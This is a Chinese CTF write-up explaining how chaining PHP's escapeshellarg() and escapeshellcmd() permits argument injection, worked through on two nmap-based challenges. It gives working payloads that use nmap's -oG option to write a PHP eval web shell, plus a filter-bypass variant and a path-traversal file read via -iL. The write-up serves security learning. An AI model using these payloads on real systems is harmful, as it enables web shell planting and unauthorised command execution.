文章目录
- 函数利用
- escapeshellarg()函数
- escapeshellcmd()函数
- exp执行原理
- 攻击面
- 例题 [BUUCTF 2018]Online Tool
- 例题 [网鼎杯 2020 朱雀组]Nmap
函数利用
escapeshellarg()函数
单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。
escapeshellcmd()函数
这些转义和规范化操作有助于确保命令字符串在传递给命令行时能够正确解析,并且不会被误认为是命令或其他恶意代码。
执行操作
替换命令字符串中的单引号 (') 为反斜杠和单引号组合 (\')。
替换命令字符串中的双引号 (") 为反斜杠和双引号组合 (\")。
删除命令字符串中的换行符 (\n)。
删除命令字符串中的回车符 (\r)。
exp执行原理
我们来分析下构造的exp
172.17.0.2' -v -d a=1
当进行escapeshellarg()函数处理后,会先进行字符转义,变成如下
172.17.0.2\' -v -d a=1
//然后添加两个单引号到转义的单引号左右,使得两部分括起来从而起到连接的作用
'172.17.0.2'\'' -v -d a=1'
再进行escapeshellcmd()函数处理后
对\
以及最后那个不配对的单引号进行了转义
'172.17.0.2'\\'' -v -d a=1\'
所以如果利用攻击的话,即向172.17.0.2\发起请求,POST 数据为a=1’
(中间的单引号闭合不用管)
攻击面
如果应用使用escapeshellarg -> escapeshellcmd
这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。
如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。
例题 [BUUCTF 2018]Online Tool
源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
接收参数host,然后经过escapeshellarg -> escapeshellcmd
处理,最后执行命令
通过查阅我们知道nmap存在参数-oG
可以实现将命令和结果写入文件
我们按照前文的思路,尝试构造
(中间部分的转义可以不去管,不会造成影响)
127.0.0.1 <?php @eval();?> -oG hack.php
如果我们直接传入这个,只会被当成字符串无法写入马
那么我们在传入参数的前面添加单引号,后面空格加单引号
'127.0.0.1 <?php @eval();?> -oG hack.php '
传进去后变成
''127.0.0.1 <?php @eval();?> -oG hack.php ''
经过escapeshellarg函数处理
'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在转义的单引号左右添加单引号
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''
经过escapeshellcmd函数处理
''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''
执行结果会对目标\127.0.0.1
发送命令<?php @eval();?> -oG hack.php \
写入文件
最终payload
'127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '
或者
' <?php @eval($_POST["hack"]);?> -oG hack.php '
成功写入后命令执行
例题 [网鼎杯 2020 朱雀组]Nmap
方法和前一题差不多
大概测试了下,语句必须有host值,过滤了php
利用管道符|
,短标签和phtml后缀绕过
127.0.0.1 | ' <?=eval($_POST["hack"]);?> -oG hack.phtml '
scan后访问/hack.phtml
,命令执行即可
还有一种利用方法,payload如下
127.0.0.1' -iL ../../../../flag -o 1
执行后,访问/1'
即可得到flag
解释一下,该命令拼接到执行语句后为
'127.0.0.1'\\'' -iL ../../../../flag -o 1\'
也就是我们推导的exp执行过程